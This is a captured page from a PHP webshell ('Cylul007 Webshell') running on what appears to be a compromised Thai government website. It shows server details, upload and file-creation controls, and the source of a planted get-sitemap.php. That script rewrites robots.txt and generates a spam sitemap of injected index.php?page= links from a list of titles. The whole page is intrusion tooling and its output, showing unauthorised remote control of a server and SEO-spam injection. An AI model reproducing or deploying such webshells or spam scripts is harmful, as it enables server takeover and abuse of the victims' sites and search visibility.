Cylul007 Webshell
Uname
:
Linux ns7.thaihispeed.com 3.10.0-693.11.1.el7.x86_64 #1 SMP Mon Dec 4 23:52:40 UTC 2017 x86_64
PHP
:
5.3.29
on
apache2handler
Time
:
24 Nov 2024 22:30:12
Path :
/
home
/
tassabanlo
/
domains
/
lomsak.go.th
/
public_html
/
menu1
/
File Upload :
New File
New Folder
Current File : /home/tassabanlo/domains/lomsak.go.th/public_html/menu1/get-sitemap.php
Download
HOME
<?php function getFileRowCount($filename) { $file = fopen($filename, "r"); $rowCount = 0; while (!feof($file)) { fgets($file); $rowCount++; } fclose($file); return $rowCount; } // Force HTTPS $protocol = 'https'; // Enforce HTTPS $fullUrl = $protocol . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; if (isset($fullUrl)) { $parsedUrl = parse_url($fullUrl); $scheme = isset($parsedUrl['scheme']) ? $parsedUrl['scheme'] : ''; $host = isset($parsedUrl['host']) ? $parsedUrl['host'] : ''; $path = isset($parsedUrl['path']) ? $parsedUrl['path'] : ''; $baseUrl = $scheme . "://" . $host . $path; $urlAsli = str_replace("get-sitemap.php", "", $baseUrl); $robotsTxt = "User-agent: *" . PHP_EOL; $robotsTxt .= "Allow: /" . PHP_EOL; $robotsTxt .= "Sitemap: " . $urlAsli . "sitemap.xml" . PHP_EOL; file_put_contents('robots.txt', $robotsTxt); $judulFile = "x.txt"; $jumlahBaris = getFileRowCount($judulFile); $sitemapFile = fopen("sitemap.xml", "w"); fwrite($sitemapFile, '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL); fwrite($sitemapFile, '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL); $fileLines = file($judulFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); foreach ($fileLines as $index => $judul) { $sitemapLink = $urlAsli . 'index.php?page=' . urlencode($judul); fwrite($sitemapFile, ' <url>' . PHP_EOL); fwrite($sitemapFile, ' <loc>' . $sitemapLink . '</loc>' . PHP_EOL); date_default_timezone_set('Asia/Jakarta'); $currentTime = date('Y-m-d\TH:i:sP'); fwrite($sitemapFile, ' <lastmod>' . $currentTime . '</lastmod>' . PHP_EOL); fwrite($sitemapFile, ' <changefreq>daily</changefreq>' . PHP_EOL); fwrite($sitemapFile, ' </url>' . PHP_EOL); } fwrite($sitemapFile, '</urlset>' . PHP_EOL); fclose($sitemapFile); echo "SITEMAP DONE CREATE!"; } else { echo "URL saat ini tidak didefinisikan."; }
Copyright © 2018 - Powered By CytoXploit